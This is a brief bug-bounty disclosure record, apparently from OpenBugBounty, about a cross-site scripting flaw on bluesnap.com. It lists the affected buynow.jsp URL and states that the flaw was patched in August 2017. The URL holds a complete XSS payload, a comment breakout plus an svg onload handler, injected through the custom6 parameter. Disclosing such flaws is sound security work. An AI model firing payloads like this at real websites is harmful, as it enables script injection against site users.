bluesnap.com XSS vulnerability

Vulnerable URL: https://www.bluesnap.com/jsp/buynow.jsp?contractId=3209254=939126&custom2;=Y&custom3;=Comodo&custom6;=%22--!%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.08.2017 Latest check for patch:| 28.08.2017 09:53 GMT Vulnerability type:|...